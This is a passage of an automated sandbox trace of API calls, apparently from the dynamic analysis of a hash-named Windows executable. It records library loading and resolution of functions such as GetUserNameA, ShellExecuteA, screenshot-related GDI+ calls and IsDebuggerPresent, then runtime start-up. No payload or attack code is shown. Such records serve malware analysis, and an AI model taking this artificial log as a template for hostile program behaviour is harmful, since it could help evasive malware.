(hModule=0x74650000, lpProcName="GetACP") returned 0x74668500 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="GetFileType") returned 0x74676aa0 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x74676730 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="GetStdHandle") returned 0x7466a6e0 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="SetHandleCount") returned 0x746750e0 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="SetLastError") returned 0x74662af0 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="TlsFree") returned 0x7466a040 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="TlsSetValue") returned 0x746629d0 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="TlsGetValue") returned 0x74661b70 [0101.429] GetProcAddress (hModule=0x74650000, lpProcName="GetTickCount") returned 0x74675eb0 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="ExitProcess") returned 0x74677b30 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedIncrement") returned 0x74672a00 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedDecrement") returned 0x74672a20 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedExchange") returned 0x74667870 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="RaiseException") returned 0x74668c20 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="RtlUnwind") returned 0x74668c10 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="ExitThread") returned 0x77957a80 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="CreateThread") returned 0x74669b90 [0101.430] GetProcAddress (hModule=0x74650000, lpProcName="GetCommandLineA") returned 0x7466ab60 [0101.431] GetProcAddress (hModule=0x74650000, lpProcName="HeapSetInformation") returned 0x7466a8e0 [0101.431] GetProcAddress (hModule=0x74650000, lpProcName="GetStartupInfoW") returned 0x7466a740 [0101.431] GetProcAddress (hModule=0x74650000, lpProcName="LCMapStringW") returned 0x74669f30 [0101.431] GetProcAddress (hModule=0x74650000, lpProcName="GetCPInfo") returned 0x7466a290 [0101.448] GetProcAddress (hModule=0x74650000, lpProcName="UnhandledExceptionFilter") returned 0x74692670 [0101.451] GetProcAddress (hModule=0x74650000, lpProcName="SetUnhandledExceptionFilter") returned 0x7466a940 [0101.451] GetProcAddress (hModule=0x74650000, lpProcName="IsDebuggerPresent") returned 0x7466b0b0 [0101.451] GetProcAddress (hModule=0x74650000, lpProcName="IsProcessorFeaturePresent") returned 0x74669bf0 [0101.451] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleHandleW") returned 0x74669bc0 [0101.451] GetProcAddress (hModule=0x74650000, lpProcName="TlsAlloc") returned 0x7466a120 [0101.451] GetProcAddress (hModule=0x74650000, lpProcName="WriteConsoleW") returned 0x74677020 [0101.451] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74790000 [0101.451] GetProcAddress (hModule=0x74790000, lpProcName="GetDesktopWindow") returned 0x747a3470 [0101.452] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77820000 [0104.984] GetProcAddress (hModule=0x77820000, lpProcName="GetUserNameA") returned 0x77842910 [0104.985] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76370000 [0115.896] GetProcAddress (hModule=0x76370000, lpProcName="SHFileOperationA") returned 0x765cf680 [0115.897] GetProcAddress (hModule=0x76370000, lpProcName="ShellExecuteA") returned 0x765e0210 [0115.897] GetProcAddress (hModule=0x76370000, lpProcName="SHGetFolderPathA") returned 0x76529b10 [0115.897] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75790000 [0115.897] GetProcAddress (hModule=0x75790000, lpProcName="PathMatchSpecW") returned 0x757b2c80 [0115.897] GetProcAddress (hModule=0x75790000, lpProcName="PathMatchSpecA") returned 0x757b2c20 [0115.897] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x75670000 [0116.068] GetProcAddress (hModule=0x75670000, lpProcName="GetModuleFileNameExA") returned 0x75671660 [0116.068] GetProcAddress (hModule=0x75670000, lpProcName="GetModuleBaseNameA") returned 0x75671640 [0116.068] GetProcAddress (hModule=0x75670000, lpProcName="EnumProcessModules") returned 0x75671360 [0116.068] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x70830000 [0116.755] GetProcAddress (hModule=0x70830000, lpProcName="DeleteUrlCacheEntry") returned 0x708f2080 [0116.755] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x6cb00000 [0117.581] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipGetImageEncodersSize") returned 0x6cb5f520 [0117.581] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x6cb45b70 [0117.581] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipSaveImageToFile") returned 0x6cb61e90 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipCloneImage") returned 0x6cb62890 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipGetImageEncoders") returned 0x6cb5f380 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdiplusShutdown") returned 0x6cb6a7c0 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipFree") returned 0x6cb43810 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipAlloc") returned 0x6cb43840 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdiplusStartup") returned 0x6cb6ab50 [0117.582] GetProcAddress (hModule=0x6cb00000, lpProcName="GdipDisposeImage") returned 0x6cb691c0 [0117.582] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x6ca00000 [0118.126] GetProcAddress (hModule=0x6ca00000, lpProcName="atexit") returned 0x6ca1c544 [0118.127] atexit (param_1=0x2070920) returned 0 [0118.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fc1c | out: lpSystemTimeAsFileTime=0x19fc1c*(dwLowDateTime=0x3d7674be, dwHighDateTime=0x1d7b434)) [0118.140] GetCurrentProcessId () returned 0x748 [0118.141] GetCurrentThreadId () returned 0xe48 [0118.141] GetTickCount () returned 0x15ae721 [0118.141] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc14 | out: lpPerformanceCount=0x19fc14*=2283805802824) returned 1 [0118.246] GetStartupInfoW (in: lpStartupInfo=0x19fbc0 | out: lpStartupInfo=0x19fbc0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0118.246] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.252] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2360000 [0118.336] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0118.336] GetProcAddress (hModule=0x74650000, lpProcName="FlsAlloc") returned 0x7466a980 [0118.336] GetProcAddress (hModule=0x74650000, lpProcName="FlsGetValue") returned 0x74667570 [0118.336] GetProcAddress (hModule=0x74650000, lpProcName="FlsSetValue") returned 0x74669e30 [0118.336] GetProcAddress (hModule=0x74650000, lpProcName="FlsFree") returned 0x74674ff0 [0118.521] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x214) returned 0x23605a8 [0118.522] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0118.573] GetCurrentThreadId () returned 0xe48 [0118.573] GetStartupInfoW (in: lpStartupInfo=0x19fb5c | out: lpStartupInfo=0x19fb5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0118.573] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0x800) returned 0x23607c8 [0118.573] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0118.573] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0118.573] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0118.573] SetHandleCount (uNumber=0x20) returned 0x20 [0118.573] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" " [0118.573] GetEnvironmentStringsW () returned 0x8240b0* [0118.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1293 [0118.580] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50d) returned 0x2360fd0 [0119.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x2360fd0, cbMultiByte=1293, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1293 [0119.022] FreeEnvironmentStringsW (penv=0x8240b0) returned 1 [0119.022] GetLastError () returned 0x3f0 [0119.022] SetLastError (dwErrCode=0x3f0) [0119.023] GetLastError () returned 0x3f0 [0119.023] SetLastError (dwErrCode=0x3f0) [0119.035] GetLastError () returned 0x3f0 [0119.035] SetLastError (dwErrCode=0x3f0) [0119.035] GetACP () returned 0x4e4 [0119.035] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x220) returned 0x23614e8 [0119.035] GetLastError () returned 0x3f0 [0119.035] SetLastError (dwErrCode=0x3f0) [0119.035] IsValidCodePage (CodePage=0x4e4) returned 1 [0119.035] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fb24 | out: lpCPInfo=0x19fb24) returned 1 [0119.082] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f5f0 | out: lpCPInfo=0x19f5f0) returned 1 [0119.088] GetLastError () returned 0x3f0 [0119.088] SetLastError (dwErrCode=0x3f0) [0119.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0119.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x19f368, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0119.088] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19f604 | out: lpCharType=0x19f604) returned 1 [0119.088] GetLastError () returned 0x3f0 [0119.088] SetLastError (dwErrCode=0x3f0) [0119.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0119.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x19f338, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꆟꬋϸJĀ") returned 256 [0119.089] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꆟꬋϸJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0119.089] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꆟꬋϸJĀ", cchSrc=256, lpDestStr=0x19f128, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0119.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19f904, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿøÖ\x8d\x80<û\x19", lpUsedDefaultChar=0x0) returned 256 [0119.089] GetLastError () returned 0x3f0 [0119.089] SetLastError (dwErrCode=0x3f0) [0119.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0119.089] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x19f358, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꆟꬋϸJĀ") returned 256 [0119.089] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꆟꬋϸJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0119.089] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꆟꬋϸJĀ", cchSrc=256, lpDestStr=0x19f148, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0119.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19f804, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿøÖ\x8d\x80<û\x19", lpUsedDefaultChar=0x0) returned 256 [0119.090] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4d5658, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0x62 [0119.096] GetLastError () returned 0x0 [0119.096] SetLastError (dwErrCode=0x0) [0119.096] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.097] SetLastError (dwErrCode=0x0) [0119.097] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.098] SetLastError (dwErrCode=0x0) [0119.098] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] GetLastError () returned 0x0 [0119.099] SetLastError (dwErrCode=0x0) [0119.099] 